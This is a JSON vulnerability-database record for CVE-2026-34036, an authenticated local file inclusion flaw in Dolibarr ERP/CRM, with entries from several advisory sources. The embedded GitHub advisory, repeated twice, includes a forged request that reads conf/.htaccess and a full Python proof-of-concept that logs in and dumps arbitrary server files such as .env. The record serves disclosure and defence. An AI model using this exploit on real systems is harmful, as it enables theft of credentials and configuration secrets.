{"id":"CVE-2026-34036","aliases":["EUVD-2026-17291","GHSA-2mfj-r695-5h9r","UBUNTU-CVE-2026-34036"],"status":"published","title":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php","description":"Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions 22.0.4 and prior, there is a Local File Inclusion (LFI) vulnerability in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…). At time of publication, there are no publicly available patches.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01464,"percentile":0.73835,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-98"],"published":"2026-03-27T18:04:19Z","modified":"2026-10-28T02:31:13Z","exploits":[{"source":"nuclei","id":"CVE-2026-34036","title":"Dolibarr \u003c=22.0.4 - Local File Inclusion","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-34036.yaml"},{"source":"pocgithub","id":"cnf409/CVE-2026-34036","title":"cnf409/CVE-2026-34036","date":"2026-03-31","url":"https://github.com/cnf409/CVE-2026-34036"}],"fixes":[{"ecosystem":"Packagist","package":"dolibarr/dolibarr","fixed_in":["23.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"dolibarr/dolibarr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"23.0.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"dolibarr/dolibarr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"23.0.0"}]}],"versions":["10.0.0","10.0.1","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","11.0.0","11.0.1","11.0.2","11.0.3","11.0.4","11.0.5","12.0.0","12.0.1","12.0.2","12.0.3","12.0.4","12.0.5","13.0.0","13.0.1","13.0.2","13.0.3","13.0.4","13.0.5","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","15.0.0","15.0.1","15.0.2","15.0.3","3.6.0","3.6.0-beta","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.8.0","3.8.0-beta","3.8.1","3.8.2","3.8.3","3.8.4","3.9.0","3.9.0-rc","3.9.0-rc2","3.9.1","3.9.2","3.9.3","3.9.4","4.0.0","4.0.0-beta","4.0.0-rc","4.0.0-rc2","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","5.0.0","5.0.0-beta","5.0.0-rc1","5.0.0-rc2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","6.0.0","6.0.0-beta","6.0.0-rc","6.0.1","6.0.2","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.0.8","7.0.0","7.0.1","7.0.2","7.0.3","7.0.4","7.0.5","8.0.0","8.0.1","8.0.2","8.0.3","8.0.4","8.0.5","8.0.6","9.0.0","9.0.1","9.0.2","9.0.3","9.0.4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"dolibarr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.5.5+dfsg1-2","3.5.7+dfsg1-1","3.5.8+dfsg1-1","3.5.8+dfsg1-1ubuntu1","3.5.8+dfsg1-1ubuntu1+esm1"]}],"products":[{"vendor":"dolibarr","product":"dolibarr"},{"vendor":"dolibarr","product":"dolibarr_erp\\/crm"}],"references":[{"url":"https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34036","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2mfj-r695-5h9r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34036.json","tags":["advisory"]},{"url":"https://github.com/Dolibarr/dolibarr","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-34036","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34036","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-34036","title":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php","description":"Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions 22.0.4 and prior, there is a Local File Inclusion (LFI) vulnerability in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…). At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T01:39:38.178Z","modified":"2026-03-31T13:57:45.23Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-98"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-17291","description":"Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions 22.0.4 and prior, there is a Local File Inclusion (LFI) vulnerability in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…). At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T01:39:38Z","modified":"2026-03-31T13:57:45Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:25.377294Z"}],"ghsa":[{"id":"GHSA-2mfj-r695-5h9r","title":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php ","description":"# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0\u0026htmlname=x\u0026objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username '\u003cusername\u003e' --password '\u003cpassword\u003e' --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation \u0026 Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy \u0026 Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n    opener, base_url, method, path, params=None, data=None, timeout=15\n):\n    url = f\"{base_url.rstrip('/')}{path}\"\n    if params:\n        url = f\"{url}?{urllib.parse.urlencode(params)}\"\n    payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n    req = urllib.request.Request(url, method=method.upper(), data=payload)\n    req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n    req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n    try:\n        with opener.open(req, timeout=timeout) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as err:\n        return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n    for pattern in (\n        r'name=[\"\\']token[\"\\']\\s+value=[\"\\']([^\"\\']*)[\"\\']',\n        r'name=[\"\\']anti-csrf-newtoken[\"\\']\\s+content=[\"\\']([^\"\\']*)[\"\\']',\n    ):\n        match = re.search(pattern, page, flags=re.IGNORECASE)\n        if match:\n            return match.group(1)\n    return \"\"\n\ndef looks_authenticated(body):\n    return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n    for marker in (\n        \"\u003cbr /\u003e\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\n\u003cb\u003eFatal error\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eFatal error\",\n    ):\n        pos = body.find(marker)\n        if pos != -1:\n            return body[:pos].rstrip()\n    return body.rstrip()\n\ndef login(opener, base_url, username, password):\n    code, login_page = request(opener, base_url, \"GET\", \"/\")\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login page\"\n    token = extract_login_token(login_page)\n    code, after_login = request(\n        opener,\n        base_url,\n        \"POST\",\n        \"/index.php?mainmenu=home\",\n        data={\n            \"token\": token,\n            \"actionlogin\": \"login\",\n            \"loginfunction\": \"loginfunction\",\n            \"username\": username,\n            \"password\": password,\n        },\n    )\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login request\"\n    if looks_authenticated(after_login):\n        return True, \"\"\n    code, home = request(opener, base_url, \"GET\", \"/index.php?mainmenu=home\")\n    if code \u003c 400 and looks_authenticated(home):\n        return True, \"\"\n    return False, \"Invalid username or password\"\n\ndef read_file(opener, base_url, relative_path):\n    status, body = request(\n        opener,\n        base_url,\n        \"GET\",\n        \"/core/ajax/selectobject.php\",\n        params={\n            \"outjson\": \"0\",\n            \"htmlname\": \"x\",\n            \"objectdesc\": f\"A:{relative_path}:0\",\n        },\n    )\n    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):\n        raise RuntimeError(\"Session expired or not authenticated\")\n    return status, body, clean_included_output(body)\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4).\"\n    )\n    parser.add_argument(\n        \"--url\",\n        default=\"http://127.0.0.1:8080\",\n        help=\"Dolibarr base URL (default: http://127.0.0.1:8080)\",\n    )\n    parser.add_argument(\"--username\", required=True, help=\"Dolibarr username\")\n    parser.add_argument(\"--password\", required=True, help=\"Dolibarr password\")\n    parser.add_argument(\n        \"--file\",\n        dest=\"target_file\",\n        required=True,\n        help=\"Target file to read (e.g. conf/.htaccess).\",\n    )\n    return parser.parse_args()\n\ndef print_result(path, status, raw, clean):\n    print(f\"\\n[+] HTTP status: {status}\")\n    print(f\"[+] Requested file: {path}\")\n    print(\"=\" * 80)\n    if clean:\n        print(html.unescape(clean))\n    else:\n        print(\"(No readable output extracted)\")\n    print(\"=\" * 80)\n    if clean != raw.rstrip():\n        print(\"[i] PHP warnings/fatal output were trimmed from display.\")\n\ndef summarize_error_body(body, limit=1200):\n    text = html.unescape(body).strip()\n    if not text:\n        return \"(Empty response body)\"\n    if len(text) \u003e limit:\n        return text[:limit].rstrip() + \"\\n... [truncated]\"\n    return text\n\ndef main():\n    args = parse_args()\n    opener = urllib.request.build_opener(\n        urllib.request.HTTPCookieProcessor(CookieJar())\n    )\n    ok, reason = login(opener, args.url, args.username, args.password)\n    if not ok:\n        print(f\"[!] {reason}\")\n        return 1\n    print(\"[+] Login successful.\")\n    try:\n        status, raw, clean = read_file(opener, args.url, args.target_file)\n        if status \u003e= 400:\n            print(f\"[!] HTTP {status} while reading target file.\")\n            print(\"=\" * 80)\n            print(summarize_error_body(raw))\n            print(\"=\" * 80)\n            return 1\n        print_result(args.target_file, status, raw, clean)\n        return 0\n    except Exception as exc:\n        print(f\"[!] Error: {exc}\")\n        return 1\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except KeyboardInterrupt:\n        print(\"\\nInterrupted.\")\n        raise SystemExit(130)\n```","status":"published","published":"2026-03-27T18:04:19Z","modified":"2026-10-26T14:26:52Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-98"],"updated_at":"2026-11-02T14:41:36.858527Z"}],"nvd":[{"id":"CVE-2026-34036","description":"Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions 22.0.4 and prior, there is a Local File Inclusion (LFI) vulnerability in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…). At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T03:15:57.71Z","modified":"2026-10-07T08:10:00.2Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-98"],"updated_at":"2026-11-02T14:12:12.261218Z"}],"osv":[{"id":"CVE-2026-34036","title":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php","description":"Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions 22.0.4 and prior, there is a Local File Inclusion (LFI) vulnerability in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…). At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T01:39:38.178Z","modified":"2026-10-28T02:31:13.896200303Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-98"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-2mfj-r695-5h9r","title":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php ","description":"# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0\u0026htmlname=x\u0026objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username '\u003cusername\u003e' --password '\u003cpassword\u003e' --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation \u0026 Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy \u0026 Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n    opener, base_url, method, path, params=None, data=None, timeout=15\n):\n    url = f\"{base_url.rstrip('/')}{path}\"\n    if params:\n        url = f\"{url}?{urllib.parse.urlencode(params)}\"\n    payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n    req = urllib.request.Request(url, method=method.upper(), data=payload)\n    req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n    req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n    try:\n        with opener.open(req, timeout=timeout) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as err:\n        return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n    for pattern in (\n        r'name=[\"\\']token[\"\\']\\s+value=[\"\\']([^\"\\']*)[\"\\']',\n        r'name=[\"\\']anti-csrf-newtoken[\"\\']\\s+content=[\"\\']([^\"\\']*)[\"\\']',\n    ):\n        match = re.search(pattern, page, flags=re.IGNORECASE)\n        if match:\n            return match.group(1)\n    return \"\"\n\ndef looks_authenticated(body):\n    return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n    for marker in (\n        \"\u003cbr /\u003e\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\n\u003cb\u003eFatal error\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eFatal error\",\n    ):\n        pos = body.find(marker)\n        if pos != -1:\n            return body[:pos].rstrip()\n    return body.rstrip()\n\ndef login(opener, base_url, username, password):\n    code, login_page = request(opener, base_url, \"GET\", \"/\")\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login page\"\n    token = extract_login_token(login_page)\n    code, after_login = request(\n        opener,\n        base_url,\n        \"POST\",\n        \"/index.php?mainmenu=home\",\n        data={\n            \"token\": token,\n            \"actionlogin\": \"login\",\n            \"loginfunction\": \"loginfunction\",\n            \"username\": username,\n            \"password\": password,\n        },\n    )\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login request\"\n    if looks_authenticated(after_login):\n        return True, \"\"\n    code, home = request(opener, base_url, \"GET\", \"/index.php?mainmenu=home\")\n    if code \u003c 400 and looks_authenticated(home):\n        return True, \"\"\n    return False, \"Invalid username or password\"\n\ndef read_file(opener, base_url, relative_path):\n    status, body = request(\n        opener,\n        base_url,\n        \"GET\",\n        \"/core/ajax/selectobject.php\",\n        params={\n            \"outjson\": \"0\",\n            \"htmlname\": \"x\",\n            \"objectdesc\": f\"A:{relative_path}:0\",\n        },\n    )\n    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):\n        raise RuntimeError(\"Session expired or not authenticated\")\n    return status, body, clean_included_output(body)\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4).\"\n    )\n    parser.add_argument(\n        \"--url\",\n        default=\"http://127.0.0.1:8080\",\n        help=\"Dolibarr base URL (default: http://127.0.0.1:8080)\",\n    )\n    parser.add_argument(\"--username\", required=True, help=\"Dolibarr username\")\n    parser.add_argument(\"--password\", required=True, help=\"Dolibarr password\")\n    parser.add_argument(\n        \"--file\",\n        dest=\"target_file\",\n        required=True,\n        help=\"Target file to read (e.g. conf/.htaccess).\",\n    )\n    return parser.parse_args()\n\ndef print_result(path, status, raw, clean):\n    print(f\"\\n[+] HTTP status: {status}\")\n    print(f\"[+] Requested file: {path}\")\n    print(\"=\" * 80)\n    if clean:\n        print(html.unescape(clean))\n    else:\n        print(\"(No readable output extracted)\")\n    print(\"=\" * 80)\n    if clean != raw.rstrip():\n        print(\"[i] PHP warnings/fatal output were trimmed from display.\")\n\ndef summarize_error_body(body, limit=1200):\n    text = html.unescape(body).strip()\n    if not text:\n        return \"(Empty response body)\"\n    if len(text) \u003e limit:\n        return text[:limit].rstrip() + \"\\n... [truncated]\"\n    return text\n\ndef main():\n    args = parse_args()\n    opener = urllib.request.build_opener(\n        urllib.request.HTTPCookieProcessor(CookieJar())\n    )\n    ok, reason = login(opener, args.url, args.username, args.password)\n    if not ok:\n        print(f\"[!] {reason}\")\n        return 1\n    print(\"[+] Login successful.\")\n    try:\n        status, raw, clean = read_file(opener, args.url, args.target_file)\n        if status \u003e= 400:\n            print(f\"[!] HTTP {status} while reading target file.\")\n            print(\"=\" * 80)\n            print(summarize_error_body(raw))\n            print(\"=\" * 80)\n            return 1\n        print_result(args.target_file, status, raw, clean)\n        return 0\n    except Exception as exc:\n        print(f\"[!] Error: {exc}\")\n        return 1\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except KeyboardInterrupt:\n        print(\"\\nInterrupted.\")\n        raise SystemExit(130)\n```","status":"published","published":"2026-03-27T18:04:19Z","modified":"2026-10-26T14:45:05.721602528Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-98"],"updated_at":"2026-11-02T15:46:34.700741Z"},{"id":"UBUNTU-CVE-2026-34036","description":"Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions 22.0.4 and prior, there is a Local File Inclusion (LFI) vulnerability in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…). At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T03:15:00Z","modified":"2026-06-17T20:15:29.316637822Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:16.036833Z"}]}}
